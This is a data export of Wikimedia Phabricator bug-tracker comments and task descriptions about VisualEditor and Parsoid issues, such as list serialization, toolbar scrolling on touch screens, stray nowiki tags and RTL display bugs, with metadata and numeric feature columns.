Right now you can't mix ""wikitext"" and ""HTML-ish"" syntax in the same list (ie, some items `*` and some items `<li>`, which means the serializer needs to go back and convert *all* of the items in the list into html-ish syntax when it finds an item which can't be represented without it (either due to newlines in the content or attributes on the tag).  We could make that work, but it would probably require either (a) backtracking and reserializing the list, which could be O(N^2) in the worst case (O(N) nested lists, where the final item in each requires going back and reserializing the list using html-ish syntax), or (b) lookahead in the serializer for problematic content, which again could be O(N^2) if done naively (O(N) nested lists, where each requires O(N) look ahead to the end).",,,1579033369,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-5dek6g5wc736qamv43s5,task_subcomment,,True,c1,3,True,,,341,,2.0,0.0,0.0,0.3333333333333333,0.6666666666666666,3.6666666666666665,1.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.0,5.333333333333333,6.666666666666667,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,14.666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,5.333333333333333,1.3333333333333333,6.0,1.6666666666666667,4.0,9.333333333333334,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.6666666666666667,6.666666666666667,2.3333333333333335,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,2.6666666666666665,0.6666666666666666,0.0,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,3.684225929177641,0.6980538484050336,"An option might be to use T230683's CODE syntax to handle T242777, and T230658's CODE to handle this task.

Right now you can't mix ""wikitext"" and ""HTML-ish"" syntax in the same list (ie, some items CODE and some items CODE, which means the serializer needs to go back and convert *all* of the items in the list into html-ish syntax when it finds an item which can't be represented without it (either due to newlines in the content or attributes on the tag).  We could make that work, but it would probably require either (a) backtracking and reserializing the list, which could be O(N^2) in the worst case (O(N) nested lists, where the final item in each requires going back and reserializing the list using html-ish syntax), or (b) lookahead in the serializer for problematic content, which again could be O(N^2) if done naively (O(N) nested lists, where each requires O(N) look ahead to the end)."
406221,Automatically switch from wikitext to HTML syntax in serializer when attributes were added to elements,"@esanders, @Catrope, @Jdforrester-WMF, Is this an use case that Parsoid should support in Q3 / Q4?",,,1422986235,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-5dek6g5wc736qamv43s5,task_subcomment,,True,c1,3,True,,,83,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,36.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.9545454545454546,0.8181818181818182,"SCREEN_NAME,SCREEN_NAME,SCREEN_NAME-WMF, Is this an use case that Parsoid should support in Q3 / Q4?"
250472,Automatically switch from wikitext to HTML syntax in serializer when attributes were added to elements,"Timo indicated on IRC that lists and list items will be first, but other elements will follow. We should try to use this first case to develop the general infrastructure.

We will need to convert an entire list to HTML syntax if an attribute is set on either the list or any list item.

Mixed templated / non-templated list items are discussed in bug 53368. We protect the entire list if any list item's bullets are template-generated. That means that we (thankfully!) won't have to consider that case here.",,,1377818147,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5dek6g5wc736qamv43s5,task_subcomment,,True,c1,3,True,,,8,,2.0,0.0,0.0,1.5,1.0,7.0,0.5,0.0,0.0,1.5,1.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,2.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,4.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.5,3.0,2.5,7.0,0.0,0.0,1.0,0.0,5.5,0.0,1.0,0.0,3.0,8.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.933438155136268,0.7664220824598184,"Timo indicated on IRC that lists and list items will be first, but other elements will follow. We should try to use this first case to develop the general infrastructure.

We will need to convert an entire list to HTML syntax if an attribute is set on either the list or any list item.

Mixed templated / non-templated list items are discussed in bug 53368. We protect the entire list if any list item's bullets are template-generated. That means that we (thankfully!) won't have to consider that case here."
55550,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment","MyOnlyEye says, ""When I write long articles in VisualEditor the whole screen scolls - and the VisualEditor toolbar is scrolling upward and out of the screen. If I want to make a headline or instert a picture I'll have to scroll up to the top to reach the toolbar. I've tried it in the lastest edition of Firefox and Chrome in Win8 - on my own mediawiki with visualeditor and Wikipedia and Mediawiki....On every page that is longer than the screen - e.g. http://en.wikipedia.org/wiki/Electron?veaction=edit
I've tested a bit (after I wrote the feedback) and it seems to be OK on my Win7 and Linux-box (chrome and firefox, both in 64-bit), but it's not working on Win8 (32-bit). Both the lastest 32-bit edition of Chrome and Firefox have the ""scrolling error"" on my Acer W510 Win8-laptop in desktop-mode (and in tile-mode :-)....I tried the electron-article and updated my own wiki (with git pull on mediawiki developer and visualeditor). I tried it in Firefox and Chrome (latest 32-bits editions)....I've installed a virtualbox with Win8 (32-bit, same as my Acer W510) and ran some wiki-pages with visualeditor in Chrome. No problem with the toolbar. So there seems to be two options left - 1) it's the intel screen driver (Intel HD 9.14.3.1102) or 2) it's how the browsers behave in a touch screen environment. My W510 has touch screen, the virtualbox Win8 hasn't....
I've tested it on another Win8-machine (ASUS VivoBook S400 14"" HD touch) with different hardware than Acer W510 _but_ with a touch screen - and... the toolbox/-bar scrolled out of the screen. So my guess is that this is something that happens when the browser knows that the user can scroll the webpage with the fingers.""

It is apparently not quite the same as https://bugzilla.wikimedia.org/show_bug.cgi?id=52504

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377802500,1519404026.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-nkghehcsjvmpig3dnbgm,task_description,invalid,True,c1,3,False,False,False,8,,0.5,0.25,0.0,0.0,0.75,5.5,0.75,0.0,0.0,0.25,3.0,1.25,0.0,0.0,0.25,4.0,0.0,3.0,11.25,0.25,1.25,0.0,0.0,0.0,1.75,1.5,0.0,0.0,0.25,0.25,0.0,5.75,0.5,2.0,0.75,0.0,0.5,0.0,0.0,0.0,0.25,0.0,0.0,1.5,0.0,0.5,0.0,0.25,0.25,16.75,0.5,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.25,0.0,0.0,0.25,0.0,0.0,0.0,0.25,0.0,7.0,1.75,14.25,1.5,5.0,8.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,11.25,7.5,0.0,1.25,0.0,6.0,0.0,1.25,1.5,0.0,0.5,0.25,0.5,0.75,3.7020202020202015,0.6666666666666666,"MyOnlyEye says, ""When I write long articles in VisualEditor the whole screen scolls - and the VisualEditor toolbar is scrolling upward and out of the screen. If I want to make a headline or instert a picture I'll have to scroll up to the top to reach the toolbar. I've tried it in the lastest edition of Firefox and Chrome in Win8 - on my own mediawiki with visualeditor and Wikipedia and Mediawiki....On every page that is longer than the screen - e.g. URL
I've tested a bit (after I wrote the feedback) and it seems to be OK on my Win7 and Linux-box (chrome and firefox, both in 64-bit), but it's not working on Win8 (32-bit). Both the lastest 32-bit edition of Chrome and Firefox have the ""scrolling error"" on my Acer W510 Win8-laptop in desktop-mode (and in tile-mode :-)....I tried the electron-article and updated my own wiki (with git pull on mediawiki developer and visualeditor). I tried it in Firefox and Chrome (latest 32-bits editions)....I've installed a virtualbox with Win8 (32-bit, same as my Acer W510) and ran some wiki-pages with visualeditor in Chrome. No problem with the toolbar. So there seems to be two options left - 1) it's the intel screen driver (Intel HD 9.14.3.1102) or 2) it's how the browsers behave in a touch screen environment. My W510 has touch screen, the virtualbox Win8 hasn't....
I've tested it on another Win8-machine (ASUS VivoBook S400 14"" HD touch) with different hardware than Acer W510 _but_ with a touch screen - and... the toolbox/-bar scrolled out of the screen. So my guess is that this is something that happens when the browser knows that the user can scroll the webpage with the fingers.""

It is apparently not quite the same as URL

--------------------------
**Version**: unspecified
**Severity**: normal"
249507,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment","**odin** wrote:

Now working in the lastest Firefox v25.0 for Windows8. Still not working in latest Chrome.",,,1383167709,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-nkghehcsjvmpig3dnbgm,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,3.68,0.76,"**odin** wrote:

Now working in the lastest Firefox v25.0 for Windows8. Still not working in latest Chrome."
249498,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment","**odin** wrote:

Also confirmed in Android 4.3 (with default Chrome browser) on Asus Nexus 7 (2012).",,,1379099403,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-nkghehcsjvmpig3dnbgm,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.185185185185185,0.8148148148148148,"**odin** wrote:

Also confirmed in Android 4.3 (with default Chrome browser) on Asus Nexus 7 (2012)."
249489,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment","**odin** wrote:

I just testet the bug in Android 4.2.1 with Chrome (on a Samsung Galaxy S4) - and when I scroll, the toolbox moves out of the screen.",,,1379077160,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-nkghehcsjvmpig3dnbgm,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,18.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,13.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.8461538461538461,"**odin** wrote:

I just testet the bug in Android 4.2.1 with Chrome (on a Samsung Galaxy S4) - and when I scroll, the toolbox moves out of the screen."
249484,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment",This sounds bad for our impending work for mobile. :-(,,,1377835053,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nkghehcsjvmpig3dnbgm,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,This sounds bad for our impending work for mobile. :-(
55548,VisualEditor: nowiki tags thrown right after a template,"I am filing a related common problem we meet at it.wp.

We had troubles with nowikis being thrown right after some templates when the
user did not add an extra space there, but simply edited something in that
page. See
https://it.wikipedia.org/w/index.php?title=Wikipedia&diff=61171396&oldid=61171228
.

We actually found a workaround for this:
https://it.wikipedia.org/w/index.php?title=Template:Quote&curid=224372&diff=61173726&oldid=60749506
but since this addition is apparently a nonsense, users demand that VE prevents
that behaviour instead.

They also think this is related to templates featuring some kind of table.

I did some tests as well.
I was able to reproduce an unwanted situation where the first line and the
table (which is actually a template) were mingled in a non-editable block
https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61181542&oldid=61181524
.

But I was also able to avoid nowikis, even if the extra span tags were not
added to the template: as you can see here
https://it.wikipedia.org/w/index.php?title=Utente:Elitre_(WMF)/Sandbox_VE&diff=prev&oldid=61181473,
if the first letter of the line is actually closer to the template's final
brace (with no space between), VEditing that page will result in the text
getting automatically placed in a better position, and no nowikis in sight,
even after multiple saves of the page.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377800880,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-qoahpa6ud2jrgv76kigv,task_description,open,True,c1,3,False,False,,8,,1.0,0.3333333333333333,0.0,1.0,0.6666666666666666,6.0,1.6666666666666667,0.0,0.0,0.6666666666666666,3.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,7.0,9.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.0,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,13.666666666666666,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,6.333333333333333,3.3333333333333335,6.333333333333333,2.0,1.6666666666666667,10.666666666666666,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,9.0,1.3333333333333333,0.0,0.0,0.0,3.0,0.0,1.0,2.6666666666666665,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,3.7670682730923697,0.7108433734939759,"I am filing a related common problem we meet at it.wp.

We had troubles with nowikis being thrown right after some templates when the
user did not add an extra space there, but simply edited something in that
page. See
URL
.

We actually found a workaround for this:
URL
but since this addition is apparently a nonsense, users demand that VE prevents
that behaviour instead.

They also think this is related to templates featuring some kind of table.

I did some tests as well.
I was able to reproduce an unwanted situation where the first line and the
table (which is actually a template) were mingled in a non-editable block
URL
.

But I was also able to avoid nowikis, even if the extra span tags were not
added to the template: as you can see here
URL
if the first letter of the line is actually closer to the template's final
brace (with no space between), VEditing that page will result in the text
getting automatically placed in a better position, and no nowikis in sight,
even after multiple saves of the page.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
249428,VisualEditor: nowiki tags thrown right after a template,"Related Parsoid behavior (this is serialization of new content):
-----------------------
[subbu@earth lib] echo ""<table><tbody><tr><td>foo</td></tr></tbody></table> a"" | node parse --html2wt
{|
|foo
|}
<nowiki> </nowiki>a
-----------------------

The following is for existing content in wikitext
-----------------------
[subbu@earth lib] echo ""{|\n|a\n|} a"" | node parse --wt2wt
{|
|a
|} a
-----------------------

So, Parsoid does not split the line after the table if it is old content, but does if it is new content and can introduce a <nowiki>  Since the report states that happens no matter what is edited on the page, my suspicion is that the HTML has a newline break after the <table> added by VE.  Requires further investigation that I cannot do right now, but hope this is good for starters. Adding others who might have time to investigate.",,,1377802050,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qoahpa6ud2jrgv76kigv,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.5,1.0,3.5,2.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,7.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,7.5,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.5,0.5,0.0,0.0,15.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.5,0.5,7.0,3.5,6.0,2.5,1.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.0,7.5,6.0,0.0,2.0,0.0,2.0,0.0,1.5,3.0,0.0,1.0,0.0,0.0,8.0,4.031235069278548,0.6016483516483517,"Related Parsoid behavior (this is serialization of new content):
-----------------------
[subbu@earth lib] echo ""<table><tbody><tr><td>foo</td></tr></tbody></table> a"" | node parse --html2wt
{|
|foo
|}
<nowiki> </nowiki>a
-----------------------

The following is for existing content in wikitext
-----------------------
[subbu@earth lib] echo ""{|\n|a\n|} a"" | node parse --wt2wt
{|
|a
|} a
-----------------------

So, Parsoid does not split the line after the table if it is old content, but does if it is new content and can introduce a <nowiki>  Since the report states that happens no matter what is edited on the page, my suspicion is that the HTML has a newline break after the <table> added by VE.  Requires further investigation that I cannot do right now, but hope this is good for starters. Adding others who might have time to investigate."
55544,VisualEditor: Added templates in RTL wikis should float in appropriate direction,"Templates that are inserted to a page in RTL appear first floating on the right side, then only after save and re-edit they appear correctly.

Replicate:
1. Go to hewiki (or any other rtl wiki)
2. Add a template - for instance {{עליות}} which is supposed to be floated left - yet it is inserted floating right.
3. Save the page. Edit it again -- the template floats in the correct direction.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377798180,1701813764.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-77lwknbtryzjh4peqeh4,task_description,resolved,True,c1,3,False,False,False,8,,0.5,0.0,0.0,3.0,0.0,4.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,3.0,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,1.0,2.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,1.0,2.5,0.0,0.0,0.0,0.5,0.0,7.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,6.0,0.0,2.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,2.5,5.5,3.0,0.0,0.0,0.0,2.5,0.0,1.5,1.0,0.0,1.5,0.0,0.0,2.0,3.569155844155844,0.7649350649350649,"Templates that are inserted to a page in RTL appear first floating on the right side, then only after save and re-edit they appear correctly.

Replicate:
1. Go to hewiki (or any other rtl wiki)
2. Add a template - for instance {{עליות}} which is supposed to be floated left - yet it is inserted floating right.
3. Save the page. Edit it again -- the template floats in the correct direction.

--------------------------
**Version**: unspecified
**Severity**: normal"
2242164,VisualEditor: Added templates in RTL wikis should float in appropriate direction,This is working for me. Feel free to re-open if this is still an issue.,,,1701813764,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-77lwknbtryzjh4peqeh4,task_subcomment,,True,c1,3,True,,,544,,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,3.0,0.8947368421052632,This is working for me. Feel free to re-open if this is still an issue.
55503,"VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages","**Author:** `p.selitskas`

**Description:**
Entries in Page settings / Languages don't have dir attributes for the link text. It leads to bidi issues for RTL languages.

Reproducing:
1. Go to an article with a langlink to Hebrew, for instance. Here's my favourite: [[en:August 3]].
2. Open the VisualEditor.
3. Go to Page settings / Languages and scroll down to 'he'.
4. Link text reads as ""3 באוגוסט"", but it should read with ""3"" after Hebrew characters (reading left-to-right, of course; in the beginning of the string, if right-to-left).

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377728640,1377895476.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ozeftogat7b2642er6vn,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.5,1.5,1.5,0.0,0.0,0.0,0.5,0.5,1.0,11.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.5,1.0,3.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,2.0,11.5,5.0,0.0,3.5,0.0,2.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,4.5,3.234567901234568,0.654320987654321,"**Author:** CODE

**Description:**
Entries in Page settings / Languages don't have dir attributes for the link text. It leads to bidi issues for RTL languages.

Reproducing:
1. Go to an article with a langlink to Hebrew, for instance. Here's my favourite: [[en:August 3]].
2. Open the VisualEditor.
3. Go to Page settings / Languages and scroll down to 'he'.
4. Link text reads as ""3 באוגוסט"", but it should read with ""3"" after Hebrew characters (reading left-to-right, of course; in the beginning of the string, if right-to-left).

--------------------------
**Version**: unspecified
**Severity**: normal"
246708,"VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages",Merged and will go out with wmf16 (from Thursday 5 September).,,,1377895476,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ozeftogat7b2642er6vn,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,21.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,Merged and will go out with wmf16 (from Thursday 5 September).
246701,"VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages","Change 81589 merged by jenkins-bot:
VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages

https://gerrit.wikimedia.org/r/81589",,,1377887216,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ozeftogat7b2642er6vn,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.48,0.96,"Change 81589 merged by jenkins-bot:
VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages

GERRIT_URL"
246694,"VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages","Change 81589 had a related patch set uploaded by Wizardist:
VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages

https://gerrit.wikimedia.org/r/81589",,,1377728877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ozeftogat7b2642er6vn,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.678571428571429,0.9642857142857143,"Change 81589 had a related patch set uploaded by Wizardist:
VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages

GERRIT_URL"
55486,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","See numbers 49 and 50 in https://pl.wikipedia.org/w/index.php?title=Biurokracja&oldid=37367869 and https://pl.wikipedia.org/w/index.php?title=Biurokracja&oldid=37367869&veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51289
https://bugzilla.wikimedia.org/show_bug.cgi?id=52300",Medium,50.0,1377708300,1377823295.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4zstjmvxiakrfapfim3n,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1025641025641026,0.4358974358974359,"See numbers 49 and 50 in URL and URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
